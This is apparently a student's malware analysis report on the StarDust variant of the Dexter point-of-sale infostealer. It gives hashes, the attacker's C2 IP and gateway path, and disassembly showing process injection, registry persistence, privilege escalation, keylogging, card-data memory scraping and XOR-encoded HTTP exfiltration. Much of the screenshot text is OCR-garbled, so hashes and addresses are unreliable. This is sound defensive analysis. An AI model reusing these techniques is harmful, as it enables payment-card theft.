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StarDust Variant

Malware Analysis Report by Jake McLellan
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Introduction

The sample that | chose to analyze is the StarDust variant of the Dexter family of malware. The
reason | chose this specific sample is that it is the only sample in theZoo with the word
“Infostealer” in the title. Depending on the information that they are seeking, an infostealer
may scan files on the system or scan the system’s memory to obtain sensitive data.

The Dexter malware family targets Point of Sale systems, also referred to as POS terminals.
These are the computers used at cash registers in order to process transactions. Dexter
harvests the magstripe information by scraping memory combined with a keylogger and sends
the data back to the attacker’s server.

This analysis was done on a Windows 10 64-bit virtual machine with no network connectivity.
The analysis followed the typical routine of basic static, basic dynamic, advanced static, and
advanced dynamic with a snapshot taken before beginning any dynamic analysis. Each phase of
the analysis process revealed more information and, when the information from different
phases is combined, we can see how the program interacts with the machine and better
understand its intentions.

MD5 140D24AF0C2B3A18529DF12DFBC5F6DE

SHA1 ESDB5AD2B7FFEDE3E41B9C3ADB24F3232D764931

SHA256 | AEABB1ADCO35F035E010COD0OD259C683E18193F509946652ED8AA7C5D92B6A92

Table 1: Sample Hashes


https://github.com/ytisf/theZoo/tree/master/malwares/Binaries

Analysis

Basic Static
Tools used: Exeinfo PE, PEiD, PEview, Strings

PE Information

Right away, basic static analysis produced a large amount of information that can be
used in order to understand how the malware is affecting the machine. This executable
was compiled in 2013 and is not packed or obfuscated according to both Exeinfo PE and
PEID. Furthermore, PEview indicates that the .text virtual size and raw size are similar,
which is an indicator that the code likely isn’t packed.

! Exeinfo PE - ver.0.0.5.6 by AS.L - 1044+78 sign 2019.04.10 — *
File : |win33.exe | }') H @
Entry Point : < EPSection: | text % |
y Fleoffet: First Bytes : 1) Plug
K et SubSystem : PE o
File Size : < |N Overlay: O 15}
Image is 32bit executable RES/OVL:44 [ 0% 2013 = §
[Microsoft Visual C++ ~v.7.10 - 8.0 - Visual 2005 "] scan ¢ Rip
Lamer Info - Help Hint - Unpadk info -
|Nnt packed , try OllyDbg v2 - www.ollydbg.de or IDA v7 ':\";\".f\'.hex-ra\,r| 9 L 2=
Figure 1: Exeinfo PE output
[ PEID v0.95 - X
File: | C:\UsersYab\Desktopiwin33.exe
Entrypoint: | 00003AF0 EP Section: | ,text ﬂ
File Offset: [00002EF0 First Bytes: [55,88,EC,81 | > |
Linker Info: |8.0 Subsystem: |Win32 GUI
Mothing found =
Multi Scan Task Viewer | Options | About | Exit |
[v Stay on top 2= ==

Figure 2: PEID output



pFile Data Description WValue
00000100 2E 74 65 T8 Mame text
00000104 74 00 00 00
00000108 00005FDE  Wirtual Size
oooooMDC 00001000 RWA
000001E0 00006000  Size of Raw Data
000001E4 00000400  Paointer to Raw Data
oooon1Es 00000000  Painter to Relocations
0000MMEC 00000000  Paointer to Line Numbers

000001F0 oaoa Mumber of Relocations

000001F2 0000 Mumber of Line Mumbers

000001F4 EQ000020 Characteristics
00000020 IMAGE_SCN_CNT_CODE
20000000 IMAGE_SCN_MEM _EXECUTE
40000000 IMAGE_SCN_MEM_READ
a80000000 IMAGE_SCN_MEM WRITE

Figure 3: PEview virtual size versus size of raw data

Dependency Information

Basic static analysis also reveals the external functions imported by this malware
sample. PEview was used to determine these functions. There are many function
imports here that come from the following libraries: ADVAPI32.dll, ole32.dll,
KERNEL32.dll, WININET.dIl, WS2_32.dll, SHELL32.dll, and USER32.dll. Some interesting
functions include ADVAPI32’s AdjustTokenPrivileges which is used by programs to
escalate privileges, as well as the range of network-related functions which allow the
program to receive commands and exfiltrate data to the attacker’s server.

pFile Data Description Value
00000400 00006DB4  Hint/Mame RWVA 01AC OpenProcessToken
00000404 00006D84 Hint/Mame RVA 001C AdjustTokenPrivileges
0oooo408 00006DCE  Hint/Name RWVA 01CB RegClosekey
ooooodoc 00006DD6  Hint/Name RWVA 0204 RegSetValusExA
00000410 00006DES  Hint/Name RWVA 01EC RegOpenkeyExA
00000414 00006DFB  Hint/Name RVA 01F7 RegQuenyWalueExA
00000418 0000BEOC  Hint/Mame RVA 0108 RegDeleteValueA
ooooo41c O000BE1E  Hint/Name RVA 0124 GetUserNameA
00000420 O000BE2E  Hint/Mame RVA 0101 RegCreateKeyExA
00000424 00006E40  Hint/Mame RVA 0205 RegSetValusEx\WV
oooo0428 00006E52 Hint/Mame RVA 01E9 RegMotifyChangekey\alue
oooood2c 0000BEBC  Hint/Name RWVA 0104 RegDeletekeyA
00000430 0000609C  Hint/Mame RWVA 014F LookupPrivilegeValue&
00000434 00000000 End of Imports ADVAPI32 dll

Figure 4: ADVAPI32.dll imports



000005B0 DO00BEEE  Hint/Mame RWVA 0059 HttpSendRequestA
000005B4 D000BEFA  HintMame RWA 0069 InternetCloseHandle
000005B8 00006F10  Hint/Mame RVA 0055 HttpOpenRequestA
000005BC 00006F38 HintMame RWVA 0092 InternetOpenA
000005C0 0000BF48  Hint/Mame RVA, 0084 InternetGetCookieA
000005C4 0000BFSE  Hint/Mame RWVA 009A. InternetReadFile
000005Cs 00006F72  Hint/Mame RVA 0093 InternetOpenUrlA,
000005CC 00006F24  Hint/Mame RVA 006F InternetConnectA
00000500 00000000  End of Imports WININET.dII

00000504 80000039  Ordinal 0039

00000508 8000000C  Ordinal gooc

000005DC 80000034  Ordinal 0034

000005ED 00000000  End of Imports Ws2 32.dlil

String Information

Figure 5: WININET.dIl and WS2_32.dll imports

Analyzing the strings located in the (non-packed/obfuscated) executable is a simple way
to develop a good sense of the malware’s goals prior to dynamic analysis. The StarDust
sample is no exception. Using the strings.exe tool reveals numerous indicators of

compromise, both host-based and network-based.

Some host-based indicators in this malware include registry keys, registry values, file
names, and file paths. These can be used for detection on a host machine.

Software‘\HelperSolutions Software
Software\Microsoft\Windows\CurrentVersion\Run
.DEFAULTA\SOFTWARE\Microsoft\Windows\CurrentVersioniRun

Figure 6: Registry keys used by the malware. The Windows\CurrentVersion\Run key is
commonly used by malware for persistence

: .exe;.bat;.reg;.vbs;
478 Java Security Plugin

275 Es\%s

480 javaplugin
481 Java Security Plugin
482 $£3\%3\313.exe
483 Sun Java Security Plugin
484 Sun Java Security Plugin

485 Sun Java Security Plugin

Software\Microsoft\Windows\CurrentVersion\Policies\Associations
LowRiskFileTypes

Software\Microsoft\Windows\CurrentVersion\Internet Settings‘Zonesh0
1506

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
1806

Sun Java Security Plugin

Figure 7: More registry keys, file paths, and file names. The StarDust strain disguises itself as the

Java Security Plugin as a form of detection evasion



debug.log
|%5=:
SecureDll.dll
SecureDll.dll
strokes.log
3s\%s

tmp.log

s\%=2

vall

valz

Figure 8: File names such as tmp.log, debug.log, and strokes.log stand out as potential buffers
for data to be stored before exfiltration

Windows 2000

Windows XP

Windows XP Professional xé4
Windows Serwver 2003
Windows Home Server
Windows Server 2003 R2
Windows Vista

Windows Server 2008
Windows Server R2
Windows 7

64 Bit

32 Bit

Figure 9: Operating system information is sent to the attacker when the infected machine
connects the attacker’s server

Some network-based indicators in this malware include the IP address of the attacker’s
command and control server, a PHP endpoint, URL parameters, bot commands, and
parts of an HTTP header including a user agent. These can be used for detection on the
network level.

506 151.248.115.107
/wl9218317418621031041543/gateway.php

Figures 10 and 11: Attacker’s IP and location PHP gateway

288 responses=

2 page=
Lump=
sks=
gopt=
sunm= 356 download-
sonm= 57  update-
EView=
sspec= 358 checkin:
fquery= 59 sgecanin:
sval=

283 gvar= 360 uninstall

Figures 12 and 13: URL parameters and bot commands

429 Mozilla/4.0 (compatible; MSIE 7.0b:; Windows HT &.0)
43 POST

431 Content-Type:application/®x-www—-form—urlencoded
4332 http:f/E=%=

Figure 14: Mozilla user agent and other HTTP header components indicate that this malware
communicates over HTTP



Basic Dynamic
Tools used: Process Monitor, Process Explorer, Regshot, ApateDNS, Netcat

This malware did not reveal much at all during the basic dynamic phase of analysis. | will
explain the reason in the “Challenges” section, but | believe this is due to the age of this
sample. Windows has changed quite a bit in the seven years since this sample was
compiled and so the malware isn’t necessarily designed to be run on Windows 10.

The Windows Sysinternals Suite’s Process Explorer and Process Monitor can be used to
examine the processes running on a machine and different operations carried out by
those processes, respectively. In the basic dynamic analysis of this malware, the process
briefly popped up in Process Explorer and started an Internet Explorer process before
the WerFault.exe process was spawned. Process Monitor reveals that it was indeed the
malware sample that spawned these processes. During the initial stages of dynamic
analysis, it was not known what was causing the crash.

Many other tools were also used for basis dynamic analysis but did not return useful
information due to the instant crash. Again, this will be discussed further in the “Challenges”
section. Regshot was used to monitor the system’s registry, while ApateDNS and Netcat were
used to monitor network requests.

i3 ee 2104 Y ProcessCredte  C:\Program Files (x86)\Intemet Exploreriiexplore.exe SUCCESS PID: 1156, Command ine: “C:\Program Fies (x86}AIntemet Explorer iexplore exc”
1 1156 5 Process Start SUCCESS Parent PID: 2104, Command line: "C-\Program Files (x36}\Intemet Explorer'iexplore exe", Curen directory: C:\Users'lab\Deskiop\202\abs pro,
1156 J#Thread Create
. 2104 @ RegloseKey HK & Event Properties - B x
1124 FwinIexe 2104 @ RegOpenkey H
1124... T winIexe 2104 g RegOpenkey H{  Event |process | Stack
1124... Fwin33exe 2104 @ ReqOpenkey H
11124, W windd exe 2104 @ RegOpenkey HY  Date: 4/30/2020 1:12:48.6543717 PM
1124... Wwin3exe 2104 @ RegOpenkiey H .
1124, Twinee 2104 g RegOpenkey pg  Threads 068
1124 Fwin3ere 7104 g RegSetinfokey HK | Classt Process
1124... W win3dexe 2104 @RegQuenValie  HK Operstors  Process Start
1124, Wwindd ene 2104 @RegQuenVae  HK  pooyy success
1124 TwinFexe 2104 @4 Regllosekey H
1124, EwinIexe 2104 @ RegOpenkey H  Feth
1124... W win3dexe 2104 @ RegOpenkey HK  Duraton: 0.0000000
1124 W windee 2104 & RegSetinfokey H
1124 Wwindere 2104 @ ReqluenVae  HI NMUMBER_OF_PROCESSORS=2 N
1124 . E-win33exe 2104 gtRegCloseKey H OneDrive=C\sers\ab\OneDrive
1124... Fwin33exe 2104 @ ReqOpenkey H 05 =Windows_NT
1124... W win3dexe 2104 @it RegSetinfoksy H Path=C: Program Fies tsC: Program Fies : \Windows;C: e Loy
1124 FwinIexe 2104 @ ReqQuenkey H PATHENT = COM, B} BAT, CMD; UBS; VB=).J5. 85 WSSk MSC. PY; YW
= i
Hij %:;:33::: ilx & RegOpenkiey g PROCESSCR_ARCHITEW6432=AMD6+
- = PROCESSOR _IDENTIFIER=Intels Famiy 6 Model 158 Stepping 12, Genunelntel
1124... W win3dexe 2104 ACreatzFi c PROCESSOR LEVEL=6 lodie: Read, Allocati
1124 . Wwind3exe 2104 B g PROCESSOR _REVISION=0e0c Time: 4/7/2020 5:1
1124 TwinIexe 2104 P\CloseFile c ProgramData=C: ProgramData
1124, EwinIexe 2104 B c ProgramFies =C: Program Files (x86) angeTime: 4/7/202
1124, Towindese 2104 [ c ProgramFiles x85)=C: Program Files (x86) ange Time: 4/7/202
1124, TwinZese 2104 [3 c Pt oo e 1.0Wodues
1124, Wwin3ere 2104 [ g PUBLIC=C:\Jsers Public
1124... T winIexe 2104 EhCreateFi c SystenDiiecC loe: Read, Delete,
1124... Fwin33exe 2104 3 c SystemRoot=C: Windows
1124 W windee 2104 c TEMP=C:\Users\ab\AppData Local Temp
1 Twimee 2o E B
H;: %W‘"n = 2104 8 9 LUSERDOMAIN_ROAMINGPROFILE =DESKTOP-HAS9LQS
wing3exe 2104 EAC g USERNAME=iab
1:124... W-win33 exe 2104 c USERPROFILE=C:\Users\ab
1124... Wwin3exe 2104 @ RegOpenkey H windir =C: Windons
1124 TwinIexe 2104 @4 RegOpenkey H __COMPAT_LAYER =DetectorsMessageBoxErrors DetectorsWing Installer .
1124, EwinIexe 2104 @ RegOpenkey H
1124... W win3dexe 214 E‘Guewﬂandanﬂmom c
1124 W windee 2104 PhCreaicFicMapping  C
— 4 || ¥ | [INext Hihight=d EEEil
Showing 1,326 of 2,560,844 events (0.051%) Backed by
1124, Sliexplore.exe 1156 £ Process Create CAWindows\SysWOW64\WerFautt exe SUCCESS PID: 8804, Command line: C:\Windows\Sys\WOW64\WerFault exe -u p 1156 5 420

Figures 15 and 16: Internet Explorer process is started and crashes



Event 1000, Application Error

General  Details

Faulting application name: iexplore.exe, version: 11.0.18362.1, time stamp: (x9alcc333
Faulting module name: unknown, version: 0.0.0.0, time starnp: (e 00000000
Exception code: (xc0D00005

Fault offset: 0x7734aeel

Faulting process id: 0x11c

Faulting application start time: (0x01d61f5e6438678

Faulting application path: C:\Program Files (x86)\Internet Explorefiexplore.exe
Faulting module path: unknown

Report |d: 7e0b9342-0ecd-4dc3-ad39-030841082d11

Faulting package full name:

Faulting package-relative application 1D:

Figure 17: Crash report from Internet Explorer as seen from the Windows Event Viewer

Advanced Static
Tool used: IDA Freeware 7.0

Advanced static analysis revealed a great deal of information regarding the inner
workings of this malware sample. Using a disassembler like the Hex-Rays
Interactive Disassembler (IDA Freeware 7.0), you can see the context of the
strings and imports discovered in basic static analysis. IDA identified a total of 71
subroutines. The main function of this malware begins at 0x403AF0. This section
of the report will summarize some key functions and how they interact to
become a malicious program.

The process flow of the main function is as follows:

1.
2.
3.

Nowu ks

Creates mutex so that the malware doesn’t install itself multiple times
Creates remote thread in Internet Explorer (process injection)

Copies self to Appdata\Roaming\Java Security Plugin\javaplugin.exe and
creates registry keys to maintain persistence on the machine

Attempts to privilege escalate by getting debug privileges

Starts keylogger

Starts threads

Enters networking loop

These tasks are displayed an explained in the following series of screenshots.



il s =

push 8 3 dwErrCode

call ds:SetlastError

push offset aWindowsservice ; "WindowsServiceStabilityMutex"
push 8 ; bInitialOwner
push 8 3 lpMutextttributes
call ds:CreateMutexd

mov hObject, eax

call ds:GetlLastError

cmp eax, @B7h

jnz short loc_483C63

Figure 18: the WindowsServiceStabilityMutex is created as a marker to ensure only one copy of the
malware is installed/running at a given time

L J
[l e =
loc_483A7@:
moy edx, offset main
sub edx, [ebp+lp]
add edx, [ebp+var_4]
mov [ebp+lpStartAddress], edx
push @ 3 lpThreadId
push @ ; dwCreationFlags
push @ ; lpParameter
mav eax, [ebpt+lpStartAddress]
push eax ; lpstartAddress
push a ; dwStackSize
push @ ; lpThreadAttributes
mav ecx, [ebp+ProcessInformation.hProcess]
push ecx 3 hProcess
call ds:CreateRemoteThread
test eax, eax
jz short loc_4@3AA3
= o '
I
cmp [ebptarg_a], @ jmp short loc_4@3AA8
jnz short loc_483AAB

[l s =

push @ 3 UExitCode

call ds:ExitProcess loc_4@83AAR:
mov esp, ebp
pop ebp
retn

createRemoteThreadInIntenetExplorer endp

Figure 19: an InternetExplorer process was created by the malware and memory has been allocated.
This figure shows the creation of the remote thread which finalizes the process injection. More
information regarding this process injection technique can be found here.


https://ired.team/offensive-security/code-injection-process-injection/process-injection

push
push
lea

push
push
push
call
add

push
push
push
call

Figure 20: In the persistence phase, the malware copies itself to its new location

offset alavaplugin ; "javaplugin”

offset alavaSecurityPl @ ; "Java Security Plugin”
edx, [ebptpszPath]

edx

offset asssExe ; "%\ \FH=\\E=z.ewxe”

offset NewFileName ; LPWSTR
ds:wsprintfi

esp, 1l4h

a ; bFailIfExists
offset NewFileName ; lpNewFileName
offset Filename ; lpExistingFileName
ds:CopyFilel

10

“AppData\roaming\Java Security Plugin\javaplugin.exe” before deleting itself from the original point of

execution. Autorun registry keys are also generated to persist through system reboots.

push
push
push
call

push
push
push
lea

push
push
mov

push
call

Figure 21: The program attempts to adjust (escalate) its privileges in order to scan as much of the

ecx 3 1plLuid
offset Name 3 "SeDebugPrivilege”
] 3 lpSystemName

ds:LockupPrivilegeValued
[ebpt+iewstate.PrivilegeCount], 1

edx, [ebptLuid.LowPart]
[ebptiewsState.Privileges.Luid. LowPart], edx
eax, [ebptLuid.HighPart]
[ebptNewstate.Privileges.Luid.HighPart], eax
[ebpHiewstate.Privileges.Attributes], 2

] ; ReturnLength

@ 3 PreviousState

1eh ; BufferLength

ecx, [ebptiewstate]

eCx 3 NewState

] ; DisableAllPrivileges
edw, [ebptTokenHandle]

edx 3 TokenHandle

ds:AdjustTokenPrivileges

system memory as possible for card number information.

push ] 3 dwThreadId
mov edx, [ebpthModule]

push edx ; hmod

mov eax, [ebp+lpfn]

push eax 3 1pfn

push WH_KEYEBOARD 3 idHook
call ds:5etWindowsHookExa

Figure 22: Many USB magstripe readers will often emulate keyboards so Dexter also logs keystrokes to

capture magstripe track data in transit.



push a 3 lpThreadId

push 2 3 dwCreationFlags
push <] ; lpParameter

push offset StartAddress ; lpStartAddress
push 8 ; dwStackSize

push a 3 lpThreadAttributes
call ds:CreateThread ; ENUM PROCESSES THREAD
mov dword_48ABAS, eax

push a 3 lpThreadId

push a ; dwCreationFlags
push a 3 lpParameter

push offset sub_483628 ; lpsStartAddress
push 8 ; dwStackSize

push <] 3 lpThreadAttributes
call ds:CreateThread

mowv hThread, eax

push a 3 lpThreadId

push a ; dwCreationFlags
push a 3 lpParameter

push offset sub_ae3aB8 ; lpstartAddress
push a 3 dwstacksize

push 2} 3 lpThreadattributes
call ds:CreateThread

mov dword_489FB8, eax

push <] 3 lpThreadId

push <] ; dwCreationFlags
push a ; lpParameter

push offset sub_481B28 ; lpStartAddress
push a 3 dwstackSize

push a 3 lpThreadattributes
call ds:CreateThread

mov ecx, 1

test BCX, BCX

jz short loc_484883

3 lpThreadId

; dwCreationFlags
; lpParameter

push offset sub_482A58 ; lpStartAddress

push a 3 dwstackSize

push a 3 lpThreadAttributes
call ds:CreateThread

call networkMain

Figure 23: Multiple threads are spawned by the malware, but the most important is the “Enumerate
Process” thread. This process will be explained in greater detail later in this section.



push ean ; lpsz0bjectMame
push offset szVerb POST

mow ecx, [ebp+hConnect]

push [.1=] ; hConnect

call ds:HttplpenRegquestA

mow [ebpthReguest], eax

cmp [ebpthRegquest], @

jnz short loc_ 482012

Figure 24: The final step of the main function is to enter the networking loop. This infinite loop is

[l 1 [ e
maw edx, [ebpsvar_4]
add eds, 1 loc_482C12:
mow [ebp#var_4], edx cmp [ebp+var_248], 1
mow [ebp+var_238], @ jnz short loc_482(34
mow eax, [ebp+hConnect] T
push eax ; hInternet
call ds:InternetCloseHandle
jmp loc_ 492846
I—
I
cmp [ebp+var_C], @
jnz short loc_482C32
h J
rPIE FPE
push @
call generateHTTPPost loc_4p2034:
add esp, 4 cmp [ebpivar_C], @
mow [ebptvar_C], 1 jnz short loc_282C48
k J
e e
push 1
loc_482032: call generateHTTPPost
jmp short loc_482C48 | |add esp, 4
moy [ebptvar_C], 1
| ;
YVYV§
e
loc_4a2C48:
mov ecx, lpStringl
push =" 3 lpString
call ds:lstrlend
push cax ; dwiptionalLength
mow edx, lpStringl
push edx ; lpOpticnal
push BFFFFFFFFh 3 dwHeadersLength
push offset szHeaders ; "Content-Typ
mov eax, [ebp+hRequest]
push eax ; hReguest
call ds:HttpSendRequesta
cmp eax, 1
jnz loc_48205F
L1

12

responsible sending and receiving information over HTTP between the client and server. It uses helper

functions to generate POST requests and parse the server’s response. Commands from the server

include “download”, “update”, and “uninstall” which have functions that coincide with each command.



13

The function at 0x404130 which has been named enumProcesses is an important
function worth discussing. This is the real functionality of the malware- where it
truly becomes a malicious infostealer. In short, this function (along with its many
helper functions) scans the entire system’s memory looking to identify magstripe
track information. It first uses string comparisons to determine potential
matches for magstripe information. Then, memory that appears to contain track
data is further verified using the Luhn algorithm and written to the buffer.

call  CresteToolhelp3zsnapshot
Imov [ebpshsnapshot], eax
push  offset pe
mov  eax, [ebp+hsnapshot]
push  eax 3 hSnapshot
call Process32First
e
loc_484175: 5 lpStringl
push  offset pe.szExefile
call  sub 45780
add esp, 4
cmp ax, 1
jnz short loc_4@418C
]
loc_48418C:
oy ecx, dword_409588
cmp ecx, pe.th32ProcessID
jz short loc_4841A8
L 2
IE]
[mov edx, dword_489588
cmp edx, pe.th32ParentProcessID|
jnz short loc_2841AD
Y
FE
loc_4841AD:
Imon [ebp+hObject], @
push  @ah 5 dwitilliseconds
call  ds:S
o eax, pe.th32ProcessID
push  eax ; dwProcessId
bush @ 5 bInheritHandle
push  416h ; dwDesiredAccess
call  ds: ess
Imov [ebp#hObiect], eax
cmp [ebp+hObject], 8
jnz short loc_48410DD

¥
FE]

loc_484100:
cnp dword_464840, 1
nz short loc_404209

Figure 25: A small subsection of the enumProcesses algorithm that shows the
CreateToolhelp32Snapshot function being used to begin analyzing process memory for
magstripe card data.

I
loc_404890:

mov eax, [ebp+var (]
cdq

mov ecx, 18
idiv ecx

neg edx

sbb edx, edx
add edx, 1
mov eax, edx
mov esp, ebp
pop ebp

retn

luhn endp

Figure 26: The return statement of the Luhn algorithm function which is used to
determine whether the check digit of a card number is valid.


https://en.wikipedia.org/wiki/Luhn_algorithm
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Advanced Dynamic
Tools used: OllyDbg, RegShot, ProcessExplorer

The final form of analysis used in this process is advanced dynamic analysis. This was
done using OllyDbg, a popular 32-bit Windows debugger. Since the malware did not run
during basic dynamic analysis, this is the first opportunity to recognize the changes
made to the machine. By running OllyDbg and stepping through each instruction, it is
easy to see what the parameters which are passed to function calls.
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rsgrssgégnx g — B Deskt [ javaplugin.exe 9/23/2013 11:13 AM Application 67 KB
FUSH ZEZ lmewt = 1089, ns eskiop
iR S R TEES N IS
L oA win3a.absasaia ¥ Downloads

[Fres - Gapagnzs

Figure 27: A side-by side image that shows the malware after copying itself into the user’s AppData directory

Ba4e2318|] > &8 ZEED&QEQ FPUSH win2s. 08469028 FileHars = "C:~Users~lab~Desktop~282~labs proj~win33.exe"
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. FF15 &2iG466a ) CALL OWORD PTR O5: [<4KERMELSZ.5 leepi] Sleep
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FileMame = "Ciwserslab~Desktop~2@2~labs~projswin3s. ene”

AE4A3315 | > 68 20004RRE |;F‘D§H'QIH§3'. a5483

HE4EZZ10 FF1E 24164066 | CALL DWORD PTR DS: [<&KERNEL3Z2.DeleteF i lebl:] DeleteFilel
FE A 2222 TEST ERX,ERX
~EE 80 JMF SHORT win22, 0Ed@2ssd
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EE4Ez22Cl ) . FFIE 221848066 ) CALL DWORD PTR DS: [<LKERMELZZ. Sleep:] Sleep
Bo4Ez222|] .~EB E4 JMP SHORT win22, B04@3212

Figures 28 and 29: After copying itself, the malware attempts to delete itself in an infinite loop. Since it
is open in the debugger, the DeleteFileW call will fail. In order to proceed with analysis, the instruction
at 0x403325 must be patched to an unconditional jump instead of a jump not zero.

Values added: 29

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sun Java Security Plugin: "C:\Users\lab\AppData\Roaming\Java Security Plugin\javaplugin.exe"

HKU\ . DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\Sun Java Security Plugin: "C:\Users\lab\AppData\Roaming\Java Security Plugin‘\javaplugin.exe"
HKU\S-1-5-21-567071258-3298026700-39874877-1081\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\8\1806: @x00000080
HKU\S-1-5-21-567071258-3298026700-39874877-1001\Software\Microsoft\Windows\CurrentVersion\Policies\Associations\LowRiskFileTypes: ".exe;.bat;.reg;.vbs;"
HKU\S-1-5-21-567071258-3298026700-39874877-1001\Software\Microsoft\Windows\CurrentVersion\Run\Sun Java Security Plugin: "C:\Users\lab\AppData\Roaming\Java Security Plugin\javaplugin.exe"
HKU\S-1-5-21-567071258-3298026700-39874877-1001\Sof tware\HelperSolutions Software\Digit: "ea59ab7f-2115-4826-a32d-ca2a884f6112"
HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Run\Sun Java Security Plugin: "C:\Users\lab\AppData\Roaming\Java Security Plugin\javaplugin.exe"

Figure 30: It is often powerful to use malware analysis tools in combination to better understand what is
happening on the machine. The output after running Regshot shows all of the registry values which
were added by this malware.



* OllyDbg - win33.exe - [CPU - main thread, module win33]
g File View Debug Plugins Options Window Help

15

aadazEAz )| Jw7E5 1S
D5z [EE461 1CC1=72EC2208

. FF1E CALL OWORD PTR DOS: C4&WINMIMET. InternstConnectA:] WINIMET. InternetConnec
[EEEEEEER 2925 c4FDFFFF|] MOU DWORD FPTR S5: [EEP-29C1, EHX
BEA4EZEIAC 22BD &4FDOFFFF|] CHMP OWORD FTR S5: [EEF-23C1

x| »iu) ws) 513 4] ) 1IE|m]x/w]n]c]s]K|B/ R
e | T LR FOX,DORD P1 55: (E0P—5)  [Reaizters (M T <
4 .
462005 || | Sfias 7aFEFFFF|LER EAY, DUORD PTR 55: [EBP-158] S e
e | & i B ED¥ BE4E7F01Z ASCIT ™151.248.115. 187"
gennz(| - Es oEsAesea  |CACL CJMP.surimon.ObtainUsscAgsntStrinad e Ee
andoznnr|| | OFEESD reFEFF|HOUSK ECX BYTE FIR Ss: [EaF-150] 2 e
4
- ESI GA482AFA win33.<Hodu leEntryPoint
Pt | N2 SHORT w1033, DO4B2AF4
4ezRE2(| + 68 EBpndmen  |PUSH winds.ooda708m Stringz = "Hozillacd,g |EDT B84A3AFA wind3.<Hodu l=EntryPoint >
genee|| | G09E 7GFEFFFF(LER EDX,DUDRD PR S5 [EBP-190] [s . EIP [BB4BEETE] v in33. BR462E50
. tring A
ooaczree || | FF1S 52114008 anL DwoRD PTR DS:[<4KERMEL32. LstropyA>] lstrcpyA B0 B3R EE SEEEEEEEEF
e || 2 & S B A B S5 BEZE 2bit B(FFFFFF
pezare(| pgeeyos = B 7@ D oecE 32bit GiFFFFF
azorel| pgeeyos ] B S8 FS o952 32bit 261094
a2hrc| | SDeS 7oFEFFFF ([ LER ER%, DUORD PTR 59: CEBP-198] Iy ©9 EEs EEls BUARAARRAR
oa46ze03|| - FF15 poijdmma|| CACL DUORD PTR DS: [<AWINIMET. InternetOpenf>] WININET. InternetOpenn |0 9 LastErr ERROR_SUCCESS (B8B08560)
opdosbos|[ ¢ ps sardmng || Hiou pUORD PTR De: LaBoFad ], ERl EFL @E@RAZEE [NO,ME,ME, R, NS, PE, GE, 5)
462815 | 175 a0 JHZ SHORT win33. 00402824 it (220 (e Bt
17| . 62 coEmmena || FusH ERER Timeout = GABEA. ms AL A (e (g (e
qazeic|| . FF1E CALL DUORD PTR DS: [<LKERNELS2. 5 leen?] leep eSS TR el el bl
GzEzs|| J~EE D LHF SHORT win5a. Bad6s [ = 2 (e eee
Boababzal| 3 E248 Fe oamos| oy DHDRD FTE oot CESPod1.@ 2 e am e Oaee
e =
45263 || o C745 F4 memee| HOU DWORD PTR 55:[EBP-C1,H i Guel GEep EilA SR
4ezEac|| + B9 Gieaemsa  |prou ECH, 1
4aze4B(| - 250 TEST ECH,ECH
G2e40|| ivBFEa senzomma|| JE winds. AG4BE0EE
oadezEss|| - SEEE Fo AU EDX, DNORD FTR 55: [EEF-41
eadazESe(| - 533095 zarnaal| cHP DWORD PTR 0S: [EDna: 4070281,
E w75 13 JNZ SHORT win33, oans
dosben|| " E34E e oonoe{| o DWORD TR o8;roEFo41,n
4ezBer(| - A1 FC9F4bpR || MOU ERX, DWORD TR DS: [4B5F7C]
4azeec|| . S8 FUSH ER% Timecut = 6E080E. ns
Geeen|| . FF1S seimdmeal| CACL DUORD PTR DS: [<EKERNELZZ.Sleep>] Slesp
ondezErs|| > &0 oo FUSH @
E7 A 8O FUSH B
dazerr|| - eR 3 FSH 3
4azers|| . em ea FUSH &
4eze7E(| . €0 oo PLSH
E7 £A S0 FLEH
oadezE7F|| - 8B40 FC MU ECH, DNORD PTR 55t [EEF-41
ondezeaz(| - EE1480 MU EDW, DWNORD FTR 05t CECY#d+407028]
eadazEgs|| - FUSH_EDH
ondazBaA(| - A1 249Fdmen || HOU EAX, DWORD PTR DS:[489F541
ondEzEar|| - FLS

JHME SHORT win22. BA4EZEER =
IMET. InternetConnectHl

(T

Address |Hew dump

[AscIT

BBjB?RRB ga BB BB BB B

Rty

Figure 31: Once

1 BRECCEHRARS
2] BAI1IFCE4 | BE4AFD1SIASCIT "151. 2458, 115, 187"
nml """" | BA1IFCES| BEAREESE

the malware enters the network loop, it calls the InternetConnectA function with the IP

B BB [5]
&

Rl=]

address discovered during basic static analysis, confirming the previous hypothesis. It is seen using the

user agent string which was also found during basic static analysis.
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Figure 32: The HTTP request being built to connect to the attacker’s server
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While using a debugger, it is important to refer back to the disassembly in IDA to
confirm prior assumptions and update the IDA project accordingly. This allowed
me to further investigate the data being exfiltrated over HTTP. Before the
request is made, the payload is XOR’d with a random key and then Base64
encoded. For example, breaking down the exfiltrated data shows strings like
“un=Ex4d”, “spec=SUtfPRYL", “var=LAseDTsKDAs” which look like random web
noise. Upon closer inspection, this is the malware’s way of exfiltrating the
username of the machine (Ex4d = lab) the operating system specifications
(SUtfPRYL = 64 bit), and a variable that is likely used on the server side for
version verification ( LAseDTsKDAs = StarDust).

This isn’t the only thing that is XOR’d, though. The “strokes.log” file where
keystrokes are recorded to is also obfuscated from plain sight. The keystrokes
were also XOR’d with the key 0x19. Turning it into plaintext reveals that window
name of the text box being typed into. The output below shows that it recorded
my attempts to run this program in OllyDbg.

| strokes.log - Notepad - O *

File Edit Format View Help
paltXjj|t{u|9xm9))-)*__*IMWVIBIDIXij|t{u|
9xm9))-)* _ -0B|DIVuu” ]{~949npw**7 | a|
949B7I194%txpwImgk | x}59tv}1u| Inpw**DIBwDING T |
t{u|9xm9))-)* _ 'IWVIBFDIXi | t{u|Ixm3))-)=__
MB | DIVuw™ 1{~949npw**7 | a| 949BZIL 949 txpwImgk | x}
59tv}1u| 9npw**DIBwD|

time: ems
Output Lenekli: S e

lines: 14

ihumAssemble at 88483FF3

NOP[s]

Assemble at @84@3FF4

[e]

011yDbg - win33.exe - [CPU - main thread, module win33]

[n]

Assemble at 98483FF8

NOP[s]

Assemble at 98483FF9

[e]

01lyDbg - win33.exe - [CPU - main thread, module win33]

[n]
Assemble at 884@3FFC
WOAHHHHHH[ 5] [s][s]1[5]HI PROFESSOR[s]

Figures 33 and 34: Encrypted data in the strokes file followed by the decrypted data
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Challenges
